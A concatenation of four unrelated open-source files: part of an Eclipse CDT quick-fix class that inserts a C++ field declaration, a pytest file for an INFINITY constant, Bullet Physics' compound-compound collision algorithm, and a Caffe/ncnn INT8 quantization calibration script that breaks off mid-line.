modifyAST(IIndex index, IMarker marker) { try { IASTTranslationUnit ast = getTranslationUnitViaEditor(marker).getAST(index, ITranslationUnit.AST_SKIP_INDEXED_HEADERS); IASTName astName = getASTNameFromMarker(marker, ast); if (astName == null) { return; } IASTDeclaration declaration = CxxAstUtils.createDeclaration(astName, ast.getASTNodeFactory(), index); IASTCompositeTypeSpecifier targetCompositeType = CxxAstUtils.getEnclosingCompositeTypeSpecifier(astName); if (targetCompositeType == null) { // We're not in an inline method; // check if we're in a method at all targetCompositeType = CxxAstUtils .getCompositeTypeFromFunction(CxxAstUtils.getEnclosingFunction(astName), index); if (targetCompositeType == null) { return; } } ASTRewrite r = ASTRewrite.create(targetCompositeType.getTranslationUnit()); IASTNode where = findInsertionPlace(targetCompositeType); r.insertBefore(targetCompositeType, where, declaration, null); Change c = r.rewriteAST(); c.perform(new NullProgressMonitor()); } catch (CoreException e) { CheckersUiActivator.log(e); } } /** * Suggests a default place to insert a field: * * Default place to insert: * <ul> * <li>If in a class, after last private field or at the end</li> * <li>If in a struct, after last public field or at the end</li> * </ul> * * @param composite * the composite to search * @return an ASTNode inside composite to insert before, or null to insert * at the end */ protected IASTNode findInsertionPlace(IASTCompositeTypeSpecifier composite) { boolean wantPublicContext; boolean inDesiredAccessibilityContext; // Default: private context for classes, public otherwise wantPublicContext = !(composite.getKey() == ICPPASTCompositeTypeSpecifier.k_class); inDesiredAccessibilityContext = true; IASTNode bestMatch = null; IASTNode[] children = composite.getChildren(); // Get initial candidate at the beginning (after class name and // composite type specifiers) for (IASTNode child : children) { if (child instanceof IASTName || child instanceof ICPPASTBaseSpecifier) { continue; } bestMatch = child; break; } // Check the class body for a better place (i.e. after the last variable // declaration in the expected access scope) for (int i = 0; i < children.length; ++i) { IASTNode child = children[i]; if (child instanceof ICPPASTVisibilityLabel) { ICPPASTVisibilityLabel label = (ICPPASTVisibilityLabel) child; inDesiredAccessibilityContext = (wantPublicContext && label.getVisibility() == ICPPASTVisibilityLabel.v_public) || (!wantPublicContext && label.getVisibility() == ICPPASTVisibilityLabel.v_private); } else if (inDesiredAccessibilityContext && (child instanceof IASTDeclaration) && !(child instanceof IASTFunctionDefinition)) { // TODO: the above condition needs to also check if child is not // a typedef for (IASTNode gchild : child.getChildren()) { if ((gchild instanceof IASTDeclarator) && !(gchild instanceof IASTFunctionDeclarator)) { // Before the next node or at the end (= after the // current node) bestMatch = (i + 1 < children.length) ? children[i + 1] : null; break; } } } } return bestMatch; } @Override public boolean isApplicable(IMarker marker) { String problemArgument = getProblemArgument(marker, 1); return problemArgument.contains(":class") && problemArgument.contains(":func"); //$NON-NLS-1$ //$NON-NLS-2$ } }
{ "pile_set_name": "Github" }
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. import operator import pytest from socorro.scripts.fetch_crashids import INFINITY @pytest.mark.parametrize( "oper, rhs, expected", [ # Infinity == x (operator.eq, 10000, False), (operator.eq, INFINITY, True), # Infinity != x (operator.ne, 10000, True), (operator.ne, INFINITY, False), # Infinity < x (operator.lt, 10000, False), (operator.lt, INFINITY, False), # Infinity <= x (operator.le, 10000, False), (operator.le, INFINITY, True), # Infinity > x (operator.gt, 10000, True), (operator.gt, INFINITY, False), # Infinity >= x (operator.ge, 10000, True), (operator.ge, INFINITY, True), ], ) def test_infinity_comparisons(oper, rhs, expected): assert oper(INFINITY, rhs) == expected def test_infinity_lhs_subtraction(): assert INFINITY - 5 == INFINITY assert INFINITY - INFINITY == 0 def test_infinity_rhs_subtraction(): with pytest.raises(ValueError): 5 - INFINITY
{ "pile_set_name": "Github" }
/* Bullet Continuous Collision Detection and Physics Library Copyright (c) 2003-2013 Erwin Coumans http://bulletphysics.org This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. */ #include "btCompoundCompoundCollisionAlgorithm.h" #include "LinearMath/btQuickprof.h" #include "BulletCollision/CollisionDispatch/btCollisionObject.h" #include "BulletCollision/CollisionShapes/btCompoundShape.h" #include "BulletCollision/BroadphaseCollision/btDbvt.h" #include "LinearMath/btIDebugDraw.h" #include "LinearMath/btAabbUtil2.h" #include "BulletCollision/CollisionDispatch/btManifoldResult.h" #include "BulletCollision/CollisionDispatch/btCollisionObjectWrapper.h" //USE_LOCAL_STACK will avoid most (often all) dynamic memory allocations due to resizing in processCollision and MycollideTT #define USE_LOCAL_STACK 1 btShapePairCallback gCompoundCompoundChildShapePairCallback = 0; btCompoundCompoundCollisionAlgorithm::btCompoundCompoundCollisionAlgorithm(const btCollisionAlgorithmConstructionInfo& ci, const btCollisionObjectWrapper* body0Wrap, const btCollisionObjectWrapper* body1Wrap, bool isSwapped) : btCompoundCollisionAlgorithm(ci, body0Wrap, body1Wrap, isSwapped) { void* ptr = btAlignedAlloc(sizeof(btHashedSimplePairCache), 16); m_childCollisionAlgorithmCache = new (ptr) btHashedSimplePairCache(); const btCollisionObjectWrapper* col0ObjWrap = body0Wrap; btAssert(col0ObjWrap->getCollisionShape()->isCompound()); const btCollisionObjectWrapper* col1ObjWrap = body1Wrap; btAssert(col1ObjWrap->getCollisionShape()->isCompound()); const btCompoundShape* compoundShape0 = static_cast<const btCompoundShape*>(col0ObjWrap->getCollisionShape()); m_compoundShapeRevision0 = compoundShape0->getUpdateRevision(); const btCompoundShape* compoundShape1 = static_cast<const btCompoundShape*>(col1ObjWrap->getCollisionShape()); m_compoundShapeRevision1 = compoundShape1->getUpdateRevision(); } btCompoundCompoundCollisionAlgorithm::~btCompoundCompoundCollisionAlgorithm() { removeChildAlgorithms(); m_childCollisionAlgorithmCache->~btHashedSimplePairCache(); btAlignedFree(m_childCollisionAlgorithmCache); } void btCompoundCompoundCollisionAlgorithm::getAllContactManifolds(btManifoldArray& manifoldArray) { int i; btSimplePairArray& pairs = m_childCollisionAlgorithmCache->getOverlappingPairArray(); for (i = 0; i < pairs.size(); i++) { if (pairs[i].m_userPointer) { ((btCollisionAlgorithm*)pairs[i].m_userPointer)->getAllContactManifolds(manifoldArray); } } } void btCompoundCompoundCollisionAlgorithm::removeChildAlgorithms() { btSimplePairArray& pairs = m_childCollisionAlgorithmCache->getOverlappingPairArray(); int numChildren = pairs.size(); int i; for (i = 0; i < numChildren; i++) { if (pairs[i].m_userPointer) { btCollisionAlgorithm* algo = (btCollisionAlgorithm*)pairs[i].m_userPointer; algo->~btCollisionAlgorithm(); m_dispatcher->freeCollisionAlgorithm(algo); } } m_childCollisionAlgorithmCache->removeAllPairs(); } struct btCompoundCompoundLeafCallback : btDbvt::ICollide { int m_numOverlapPairs; const btCollisionObjectWrapper* m_compound0ColObjWrap; const btCollisionObjectWrapper* m_compound1ColObjWrap; btDispatcher* m_dispatcher; const btDispatcherInfo& m_dispatchInfo; btManifoldResult* m_resultOut; class btHashedSimplePairCache* m_childCollisionAlgorithmCache; btPersistentManifold* m_sharedManifold; btCompoundCompoundLeafCallback(const btCollisionObjectWrapper* compound1ObjWrap, const btCollisionObjectWrapper* compound0ObjWrap, btDispatcher* dispatcher, const btDispatcherInfo& dispatchInfo, btManifoldResult* resultOut, btHashedSimplePairCache* childAlgorithmsCache, btPersistentManifold* sharedManifold) : m_numOverlapPairs(0), m_compound0ColObjWrap(compound1ObjWrap), m_compound1ColObjWrap(compound0ObjWrap), m_dispatcher(dispatcher), m_dispatchInfo(dispatchInfo), m_resultOut(resultOut), m_childCollisionAlgorithmCache(childAlgorithmsCache), m_sharedManifold(sharedManifold) { } void Process(const btDbvtNode* leaf0, const btDbvtNode* leaf1) { BT_PROFILE("btCompoundCompoundLeafCallback::Process"); m_numOverlapPairs++; int childIndex0 = leaf0->dataAsInt; int childIndex1 = leaf1->dataAsInt; btAssert(childIndex0 >= 0); btAssert(childIndex1 >= 0); const btCompoundShape* compoundShape0 = static_cast<const btCompoundShape*>(m_compound0ColObjWrap->getCollisionShape()); btAssert(childIndex0 < compoundShape0->getNumChildShapes()); const btCompoundShape* compoundShape1 = static_cast<const btCompoundShape*>(m_compound1ColObjWrap->getCollisionShape()); btAssert(childIndex1 < compoundShape1->getNumChildShapes()); const btCollisionShape* childShape0 = compoundShape0->getChildShape(childIndex0); const btCollisionShape* childShape1 = compoundShape1->getChildShape(childIndex1); //backup btTransform orgTrans0 = m_compound0ColObjWrap->getWorldTransform(); const btTransform& childTrans0 = compoundShape0->getChildTransform(childIndex0); btTransform newChildWorldTrans0 = orgTrans0 * childTrans0; btTransform orgTrans1 = m_compound1ColObjWrap->getWorldTransform(); const btTransform& childTrans1 = compoundShape1->getChildTransform(childIndex1); btTransform newChildWorldTrans1 = orgTrans1 * childTrans1; //perform an AABB check first btVector3 aabbMin0, aabbMax0, aabbMin1, aabbMax1; childShape0->getAabb(newChildWorldTrans0, aabbMin0, aabbMax0); childShape1->getAabb(newChildWorldTrans1, aabbMin1, aabbMax1); btVector3 thresholdVec(m_resultOut->m_closestPointDistanceThreshold, m_resultOut->m_closestPointDistanceThreshold, m_resultOut->m_closestPointDistanceThreshold); aabbMin0 -= thresholdVec; aabbMax0 += thresholdVec; if (gCompoundCompoundChildShapePairCallback) { if (!gCompoundCompoundChildShapePairCallback(childShape0, childShape1)) return; } if (TestAabbAgainstAabb2(aabbMin0, aabbMax0, aabbMin1, aabbMax1)) { btCollisionObjectWrapper compoundWrap0(this->m_compound0ColObjWrap, childShape0, m_compound0ColObjWrap->getCollisionObject(), newChildWorldTrans0, -1, childIndex0); btCollisionObjectWrapper compoundWrap1(this->m_compound1ColObjWrap, childShape1, m_compound1ColObjWrap->getCollisionObject(), newChildWorldTrans1, -1, childIndex1); btSimplePair* pair = m_childCollisionAlgorithmCache->findPair(childIndex0, childIndex1); bool removePair = false; btCollisionAlgorithm* colAlgo = 0; if (m_resultOut->m_closestPointDistanceThreshold > 0) { colAlgo = m_dispatcher->findAlgorithm(&compoundWrap0, &compoundWrap1, 0, BT_CLOSEST_POINT_ALGORITHMS); removePair = true; } else { if (pair) { colAlgo = (btCollisionAlgorithm*)pair->m_userPointer; } else { colAlgo = m_dispatcher->findAlgorithm(&compoundWrap0, &compoundWrap1, m_sharedManifold, BT_CONTACT_POINT_ALGORITHMS); pair = m_childCollisionAlgorithmCache->addOverlappingPair(childIndex0, childIndex1); btAssert(pair); pair->m_userPointer = colAlgo; } } btAssert(colAlgo); const btCollisionObjectWrapper* tmpWrap0 = 0; const btCollisionObjectWrapper* tmpWrap1 = 0; tmpWrap0 = m_resultOut->getBody0Wrap(); tmpWrap1 = m_resultOut->getBody1Wrap(); m_resultOut->setBody0Wrap(&compoundWrap0); m_resultOut->setBody1Wrap(&compoundWrap1); m_resultOut->setShapeIdentifiersA(-1, childIndex0); m_resultOut->setShapeIdentifiersB(-1, childIndex1); colAlgo->processCollision(&compoundWrap0, &compoundWrap1, m_dispatchInfo, m_resultOut); m_resultOut->setBody0Wrap(tmpWrap0); m_resultOut->setBody1Wrap(tmpWrap1); if (removePair) { colAlgo->~btCollisionAlgorithm(); m_dispatcher->freeCollisionAlgorithm(colAlgo); } } } }; static DBVT_INLINE bool MyIntersect(const btDbvtAabbMm& a, const btDbvtAabbMm& b, const btTransform& xform, btScalar distanceThreshold) { btVector3 newmin, newmax; btTransformAabb(b.Mins(), b.Maxs(), 0.f, xform, newmin, newmax); newmin -= btVector3(distanceThreshold, distanceThreshold, distanceThreshold); newmax += btVector3(distanceThreshold, distanceThreshold, distanceThreshold); btDbvtAabbMm newb = btDbvtAabbMm::FromMM(newmin, newmax); return Intersect(a, newb); } static inline void MycollideTT(const btDbvtNode* root0, const btDbvtNode* root1, const btTransform& xform, btCompoundCompoundLeafCallback* callback, btScalar distanceThreshold) { if (root0 && root1) { int depth = 1; int treshold = btDbvt::DOUBLE_STACKSIZE - 4; btAlignedObjectArray<btDbvt::sStkNN> stkStack; #ifdef USE_LOCAL_STACK ATTRIBUTE_ALIGNED16(btDbvt::sStkNN localStack[btDbvt::DOUBLE_STACKSIZE]); stkStack.initializeFromBuffer(&localStack, btDbvt::DOUBLE_STACKSIZE, btDbvt::DOUBLE_STACKSIZE); #else stkStack.resize(btDbvt::DOUBLE_STACKSIZE); #endif stkStack[0] = btDbvt::sStkNN(root0, root1); do { btDbvt::sStkNN p = stkStack[--depth]; if (MyIntersect(p.a->volume, p.b->volume, xform, distanceThreshold)) { if (depth > treshold) { stkStack.resize(stkStack.size() * 2); treshold = stkStack.size() - 4; } if (p.a->isinternal()) { if (p.b->isinternal()) { stkStack[depth++] = btDbvt::sStkNN(p.a->childs[0], p.b->childs[0]); stkStack[depth++] = btDbvt::sStkNN(p.a->childs[1], p.b->childs[0]); stkStack[depth++] = btDbvt::sStkNN(p.a->childs[0], p.b->childs[1]); stkStack[depth++] = btDbvt::sStkNN(p.a->childs[1], p.b->childs[1]); } else { stkStack[depth++] = btDbvt::sStkNN(p.a->childs[0], p.b); stkStack[depth++] = btDbvt::sStkNN(p.a->childs[1], p.b); } } else { if (p.b->isinternal()) { stkStack[depth++] = btDbvt::sStkNN(p.a, p.b->childs[0]); stkStack[depth++] = btDbvt::sStkNN(p.a, p.b->childs[1]); } else { callback->Process(p.a, p.b); } } } } while (depth); } } void btCompoundCompoundCollisionAlgorithm::processCollision(const btCollisionObjectWrapper* body0Wrap, const btCollisionObjectWrapper* body1Wrap, const btDispatcherInfo& dispatchInfo, btManifoldResult* resultOut) { const btCollisionObjectWrapper* col0ObjWrap = body0Wrap; const btCollisionObjectWrapper* col1ObjWrap = body1Wrap; btAssert(col0ObjWrap->getCollisionShape()->isCompound()); btAssert(col1ObjWrap->getCollisionShape()->isCompound()); const btCompoundShape* compoundShape0 = static_cast<const btCompoundShape*>(col0ObjWrap->getCollisionShape()); const btCompoundShape* compoundShape1 = static_cast<const btCompoundShape*>(col1ObjWrap->getCollisionShape()); const btDbvt* tree0 = compoundShape0->getDynamicAabbTree(); const btDbvt* tree1 = compoundShape1->getDynamicAabbTree(); if (!tree0 || !tree1) { return btCompoundCollisionAlgorithm::processCollision(body0Wrap, body1Wrap, dispatchInfo, resultOut); } ///btCompoundShape might have changed: ////make sure the internal child collision algorithm caches are still valid if ((compoundShape0->getUpdateRevision() != m_compoundShapeRevision0) || (compoundShape1->getUpdateRevision() != m_compoundShapeRevision1)) { ///clear all removeChildAlgorithms(); m_compoundShapeRevision0 = compoundShape0->getUpdateRevision(); m_compoundShapeRevision1 = compoundShape1->getUpdateRevision(); } ///we need to refresh all contact manifolds ///note that we should actually recursively traverse all children, btCompoundShape can nested more then 1 level deep ///so we should add a 'refreshManifolds' in the btCollisionAlgorithm { int i; btManifoldArray manifoldArray; #ifdef USE_LOCAL_STACK btPersistentManifold localManifolds[4]; manifoldArray.initializeFromBuffer(&localManifolds, 0, 4); #endif btSimplePairArray& pairs = m_childCollisionAlgorithmCache->getOverlappingPairArray(); for (i = 0; i < pairs.size(); i++) { if (pairs[i].m_userPointer) { btCollisionAlgorithm* algo = (btCollisionAlgorithm*)pairs[i].m_userPointer; algo->getAllContactManifolds(manifoldArray); for (int m = 0; m < manifoldArray.size(); m++) { if (manifoldArray[m]->getNumContacts()) { resultOut->setPersistentManifold(manifoldArray[m]); resultOut->refreshContactPoints(); resultOut->setPersistentManifold(0); } } manifoldArray.resize(0); } } } btCompoundCompoundLeafCallback callback(col0ObjWrap, col1ObjWrap, this->m_dispatcher, dispatchInfo, resultOut, this->m_childCollisionAlgorithmCache, m_sharedManifold); const btTransform xform = col0ObjWrap->getWorldTransform().inverse() * col1ObjWrap->getWorldTransform(); MycollideTT(tree0->m_root, tree1->m_root, xform, &callback, resultOut->m_closestPointDistanceThreshold); //printf("#compound-compound child/leaf overlap =%d \r",callback.m_numOverlapPairs); //remove non-overlapping child pairs { btAssert(m_removePairs.size() == 0); //iterate over all children, perform an AABB check inside ProcessChildShape btSimplePairArray& pairs = m_childCollisionAlgorithmCache->getOverlappingPairArray(); int i; btManifoldArray manifoldArray; btVector3 aabbMin0, aabbMax0, aabbMin1, aabbMax1; for (i = 0; i < pairs.size(); i++) { if (pairs[i].m_userPointer) { btCollisionAlgorithm* algo = (btCollisionAlgorithm*)pairs[i].m_userPointer; { const btCollisionShape* childShape0 = 0; btTransform newChildWorldTrans0; childShape0 = compoundShape0->getChildShape(pairs[i].m_indexA); const btTransform& childTrans0 = compoundShape0->getChildTransform(pairs[i].m_indexA); newChildWorldTrans0 = col0ObjWrap->getWorldTransform() * childTrans0; childShape0->getAabb(newChildWorldTrans0, aabbMin0, aabbMax0); } btVector3 thresholdVec(resultOut->m_closestPointDistanceThreshold, resultOut->m_closestPointDistanceThreshold, resultOut->m_closestPointDistanceThreshold); aabbMin0 -= thresholdVec; aabbMax0 += thresholdVec; { const btCollisionShape* childShape1 = 0; btTransform newChildWorldTrans1; childShape1 = compoundShape1->getChildShape(pairs[i].m_indexB); const btTransform& childTrans1 = compoundShape1->getChildTransform(pairs[i].m_indexB); newChildWorldTrans1 = col1ObjWrap->getWorldTransform() * childTrans1; childShape1->getAabb(newChildWorldTrans1, aabbMin1, aabbMax1); } aabbMin1 -= thresholdVec; aabbMax1 += thresholdVec; if (!TestAabbAgainstAabb2(aabbMin0, aabbMax0, aabbMin1, aabbMax1)) { algo->~btCollisionAlgorithm(); m_dispatcher->freeCollisionAlgorithm(algo); m_removePairs.push_back(btSimplePair(pairs[i].m_indexA, pairs[i].m_indexB)); } } } for (int i = 0; i < m_removePairs.size(); i++) { m_childCollisionAlgorithmCache->removeOverlappingPair(m_removePairs[i].m_indexA, m_removePairs[i].m_indexB); } m_removePairs.clear(); } } btScalar btCompoundCompoundCollisionAlgorithm::calculateTimeOfImpact(btCollisionObject* body0, btCollisionObject* body1, const btDispatcherInfo& dispatchInfo, btManifoldResult* resultOut) { btAssert(0); return 0.f; }
{ "pile_set_name": "Github" }
# -*- coding: utf-8 -*- # BUG1989 is pleased to support the open source community by supporting ncnn available. # # Copyright (C) 2019 BUG1989. All rights reserved. # # Licensed under the BSD 3-Clause License (the "License"); you may not use this file except # in compliance with the License. You may obtain a copy of the License at # # https://opensource.org/licenses/BSD-3-Clause # # Unless required by applicable law or agreed to in writing, software distributed # under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR # CONDITIONS OF ANY KIND, either express or implied. See the License for the # specific language governing permissions and limitations under the License. """ Quantization module for generating the calibration tables will be used by quantized (INT8) models from FP32 models.with bucket split,[k, k, cin, cout] cut into "cout" buckets. This tool is based on Caffe Framework. """ from __future__ import division from __future__ import print_function import argparse import numpy as np import math, copy import matplotlib.pyplot as plt import sys,os import caffe import caffe.proto.caffe_pb2 as caffe_pb2 import time import datetime from google.protobuf import text_format from scipy import stats np.set_printoptions(threshold='nan') np.set_printoptions(suppress=True) def parse_args(): parser = argparse.ArgumentParser( description='find the pretrained caffe models int8 quantize scale value') parser.add_argument('--proto', dest='proto', help="path to deploy prototxt.", type=str) parser.add_argument('--model', dest='model', help='path to pretrained weights', type=str) parser.add_argument('--mean', dest='mean', help='value of mean', type=float, nargs=3) parser.add_argument('--norm', dest='norm', help='value of normalize', type=float, nargs=1, default=1.0) parser.add_argument('--images', dest='images', help='path to calibration images', type=str) parser.add_argument('--output', dest='output', help='path to output calibration table file', type=str, default='calibration-dev.table') parser.add_argument('--group', dest='group', help='enable the group scale', type=int, default=1) parser.add_argument('--gpu', dest='gpu', help='use gpu to forward', type=int, default=0) args = parser.parse_args() return args, parser global args, parser args, parser = parse_args() # global params QUANTIZE_NUM = 127 QUANTIZE_WINOGRAND_NUM = 31 STATISTIC = 1 INTERVAL_NUM = 2048 # ugly global params quantize_layer_lists = [] class QuantizeLayer: def __init__(self, name, blob_name, group_num): self.name = name self.blob_name = blob_name self.group_num = group_num self.weight_scale = np.zeros(group_num) self.blob_max = 0.0 self.blob_distubution_interval = 0.0 self.blob_distubution = np.zeros(INTERVAL_NUM) self.blob_threshold = 0 self.blob_scale = 1.0 self.group_zero = np.zeros(group_num) def quantize_weight(self, weight_data, flag): # spilt the weight data by cout num blob_group_data = np.array_split(weight_data, self.group_num) for i, group_data in enumerate(blob_group_data): max_val = np.max(group_data) min_val = np.min(group_data) threshold = max(abs(max_val), abs(min_val)) if threshold < 0.0001: self.weight_scale[i] = 0 self.group_zero[i] = 1 else: if(flag == True): self.weight_scale[i] = QUANTIZE_WINOGRAND_NUM / threshold else: self.weight_scale[i] = QUANTIZE_NUM / threshold print("%-20s group : %-5d max_val : %-10f scale_val : %-10f" % (self.name + "_param0", i, threshold, self.weight_scale[i])) def initial_blob_max(self, blob_data): # get the max value of blob max_val = np.max(blob_data) min_val = np.min(blob_data) self.blob_max = max(self.blob_max, max(abs(max_val), abs(min_val))) def initial_blob_distubution_interval(self): self.blob_distubution_interval = STATISTIC * self.blob_max / INTERVAL_NUM print("%-20s max_val : %-10.8f distribution_intervals : %-10.8f" % (self.name, self.blob_max, self.blob_distubution_interval)) def initial_histograms(self, blob_data): # collect histogram of every group channel blob th = self.blob_max hist, hist_edge = np.histogram(blob_data, bins=INTERVAL_NUM, range=(0, th)) self.blob_distubution += hist def quantize_blob(self): # calculate threshold distribution = np.array(self.blob_distubution) # pick threshold which minimizes KL divergence threshold_bin = threshold_distribution(distribution) self.blob_threshold = threshold_bin threshold = (threshold_bin + 0.5) * self.blob_distubution_interval # get the activation calibration value self.blob_scale = QUANTIZE_NUM / threshold print("%-20s bin : %-8d threshold : %-10f interval : %-10f scale : %-10f" % (self.name, threshold_bin, threshold, self.blob_distubution_interval, self.blob_scale)) def _smooth_distribution(p, eps=0.0001): """Given a discrete distribution (may have not been normalized to 1), smooth it by replacing zeros with eps multiplied by a scaling factor and taking the corresponding amount off the non-zero values. Ref: http://web.engr.illinois.edu/~hanj/cs412/bk3/KL-divergence.pdf """ is_zeros = (p == 0).astype(np.float32) is_nonzeros = (p != 0).astype(np.float32) n_zeros = is_zeros.sum() n_nonzeros = p.size - n_zeros if not n_nonzeros: raise ValueError('The discrete probability distribution is malformed. All entries are 0.') eps1 = eps * float(n_zeros) / float(n_nonzeros) assert eps1 < 1.0, 'n_zeros=%d, n_nonzeros=%d, eps1=%f' % (n_zeros, n_nonzeros, eps1) hist = p.astype(np.float32) hist += eps * is_zeros + (-eps1) * is_nonzeros assert (hist <= 0).sum() == 0 return hist def threshold_distribution(distribution, target_bin=128): """ Return the best threshold value. Ref: https://github.com//apache/incubator-mxnet/blob/master/python/mxnet/contrib/quantization.py Args: distribution: list, activations has been processed by histogram and normalize,size is 2048 target_bin: int, the num of bin that is used by quantize, Int8 default value is 128 Returns: target_threshold: int, num of bin with the minimum KL """ distribution = distribution[1:] length = distribution.size threshold_sum = sum(distribution[target_bin:]) kl_divergence = np.zeros(length - target_bin) for threshold in range(target_bin, length): sliced_nd_hist = copy.deepcopy(distribution[:threshold]) # generate reference distribution p p = sliced_nd_hist.copy() p[threshold-1] += threshold_sum threshold_sum = threshold_sum - distribution[threshold] # is_nonzeros[k] indicates whether hist[k] is nonzero is_nonzeros = (p != 0).astype(np.int64) # quantized_bins = np.zeros(target_bin, dtype=np.int64) # calculate how many bins should be merged to generate quantized distribution q num_merged_bins = sliced_nd_hist.size // target_bin # merge hist into num_quantized_bins bins for j in range(target_bin): start = j * num_merged_bins stop = start + num_merged_bins quantized_bins[j] = sliced_nd_hist[start:stop].sum() quantized_bins[-1] += sliced_nd_hist[target_bin * num_merged_bins:].sum() # expand quantized_bins into p.size bins q = np.zeros(sliced_nd_hist.size, dtype=np.float64) for j in range(target_bin): start = j * num_merged_bins if j == target_bin - 1: stop = -1 else: stop = start + num_merged_bins norm = is_nonzeros[start:stop].sum() if norm != 0: q[start:stop] = float(quantized_bins[j]) / float(norm) q[p == 0] = 0 # p = _smooth_distribution(p) # with some bugs, need to fix # q = _smooth_distribution(q) p[p == 0] = 0.0001 q[q == 0] = 0.0001 # calculate kl_divergence between q and p kl_divergence[threshold - target_bin] = stats.entropy(p, q) min_kl_divergence = np.argmin(kl_divergence) threshold_value = min_kl_divergence + target_bin return threshold_value def net_forward(net, image_path, transformer): """ network inference and statistics the cost time Args: net: the instance of Caffe inference image_path: a image need to be inference transformer: Returns: none """ # load image image = caffe.io.load_image(image_path) # transformer.preprocess the image net.blobs['data'].data[...] = transformer.preprocess('data',image) # net forward output = net.forward() def file_name(file_dir): """ Find the all file path with the directory Args: file_dir: The source file directory Returns: files_path: all the file path into a list """ files_path = [] for root, dir, files in os.walk(file_dir): for name in files: file_path = root + "/" + name print(file_path) files_path.append(file_path) return files_path def network_prepare(net, mean, norm): """ instance the prepare process param of caffe network inference Args: net: the instance of Caffe inference mean: the value of mean norm: the value of normalize Returns: none """ print("Network initial") img_mean = np.array(mean) # initial transformer transformer = caffe.io.Transformer({'data': net.blobs['data'].data.shape}) # convert hwc to cwh transformer.set_transpose('data', (2,0,1)) # load meanfile transformer.set_mean('data', img_mean) # resize image data from [0,1] to [0,255] transformer.set_raw_scale('data', 255) # convert RGB -> BGR transformer.set_channel_swap('data', (2,1,0)) # normalize transformer.set_input_scale('data', norm) return transformer def weight_quantize(net, net_file, group_on): """ CaffeModel convolution weight blob Int8 quantize Args: net: the instance of Caffe inference net_file: deploy caffe prototxt Returns: none """ print("\nQuantize the kernel weight:") # parse the net param from deploy prototxt params = caffe_pb2.NetParameter() with open(net_file) as f: text_format.Merge(f.read(), params) for i, layer in enumerate(params.layer): # find the convolution layers to get out the weight_scale if(layer.type == "Convolution" or layer.type == "ConvolutionDepthwise"): weight_blob = net.params[layer.name][0].data # initial the instance of QuantizeLayer Class lists,you can use enable group quantize to generate int8 scale for each group layer.convolution_param.group if (group_on == 1): quanitze_layer = QuantizeLayer(layer.name, layer.bottom[0], layer.convolution_param.num_output) else: quanitze_layer = QuantizeLayer(layer.name, layer.bottom[0], 1) # quantize the weight value using 6bit for conv3x3s1 layer to winograd F(4,3) if(layer.type == "Convolution" and layer.convolution_param.kernel_size[0] == 3 and ((len(layer.convolution_param.stride) == 0) or layer.convolution_param.stride[0] == 1)): if(layer.convolution_param.group != layer.convolution_param.num_output): quanitze_layer.quantize_weight(weight_blob, True) else: quanitze_layer.quantize_weight(weight_blob, False) # quantize the weight value using 8bit for another conv layers else: quanitze_layer.quantize_weight(weight_blob, False) # add the quantize_layer into the save list quantize_layer_lists.append(quanitze_layer) return None def activation_quantize(net, transformer, images_files): """ Activation Int8 quantize, optimaize threshold selection with KL divergence, given a dataset, find the optimal threshold for quantizing it. Ref: http://on-demand.gputechconf.com/gtc/2017/presentation/s7310-8-bit-inference-with-tensorrt.pdf Args: net: the instance of Caffe inference transformer: images_files: calibration dataset Returns: none """ print("\nQuantize the Activation:") # run float32 inference on calibration dataset to find the activations range for i , image in enumerate(images_files): # inference net_forward(net, image, transformer) # find max threshold for layer in quantize_layer_lists: blob = net.blobs[layer.blob_name].data[0].flatten() layer.initial_blob_max(blob) if i % 100 == 0: print("loop stage 1 : %d/%d" % (i, len(images_files))) # calculate statistic blob scope and interval distribution for layer in quantize_layer_lists: layer.initial_blob_distubution_interval() # for each layers # collect histograms of activations print("\nCollect histograms of activations:") for i, image in enumerate(images_files): net_forward(net, image, transformer) for layer in quantize_layer_lists: blob = net.blobs[layer.blob_name].data[0].flatten() layer.initial_histograms(blob) if i % 100 == 0: print("loop stage 2 : %d/%d" % (i, len(images_files))) # calculate threshold with KL divergence for layer in quantize_layer_lists: layer.quantize_blob() return None def save_calibration_file(calibration_path): calibration_file = open(calibration_path, 'w') # save temp save_temp = [] # save weight scale for layer in quantize_layer_lists: save_string = layer.name + "_param_0" for i in range(layer.group_num): save_string = save_string + " " + str(layer.weight_scale[i]) save_temp.append(save_string) # save bottom blob scales for layer in quantize_layer_lists: save_string = layer.name + " " + str(layer.blob_scale) save_temp.append(save_string) # save into txt file for data in save_temp: calibration_file.write(data + "\n") calibration_file.close() # save calibration logs save_temp_log = [] calibration_file_log = open(calibration_path + ".log", 'w') for layer in quantize_layer_lists: save_string = layer.name + ": value range 0 - " + str(layer.blob_max) \ + ", interval " + str(layer.blob_distubution_interval) \ + ", interval num " + str(INTERVAL_NUM) \ + ", threshold num " + str(layer.blob_threshold) + "\n" \ + str(layer.blob_distubution.astype(dtype=np.int64)) save_temp_log.append(save_string) # save into txt file for data in save_temp_log: calibration_file_log.write(data + "\n") def usage_info(): """ usage info """ print("Input params is illegal...╮(╯3╰)╭") print("try it again:\n python caffe-int8-scale-tools-dev.py -h") def main(): """ main function """ # time start time_start = datetime.datetime.now() print(args) if args.proto == None or args.model == None or args.mean == None or args.images == None: usage_info() return None # deploy caffe prototxt path net_file = args.proto # trained caffemodel path caffe_model = args.model # mean value mean = args.mean # norm value norm = 1.0 if args.norm != 1.0: norm = args.norm[0] # calibration dataset images_path = args.images # the output calibration file calibration_path = args.output # enable the group scale group_on = args.group # default use CPU to forwark if args.gpu != 0: caffe.set_device(0) caffe.set_mode_gpu() # initial caffe net and the forword model(GPU or CPU) net = caffe.Net(net_file,caffe_model,caffe.TEST) # prepare the cnn network transformer = network_prepare(net, mean, norm) # get the calibration datasets images files path images_files = file_name(images_path) # quanitze kernel weight of the caffemodel to find it's calibration table weight_quantize(net, net_file, group_on) # quantize activation value of the caffemodel to find it's calibration table activation_quantize(net, transformer, images_files) # save the calibration tables,best wish for your INT8 inference have low accuracy loss :) save_calibration_file(calibration_path) # time end time_end = datetime.datetime.now() print("\nCaffe Int8 Calibration table create success, 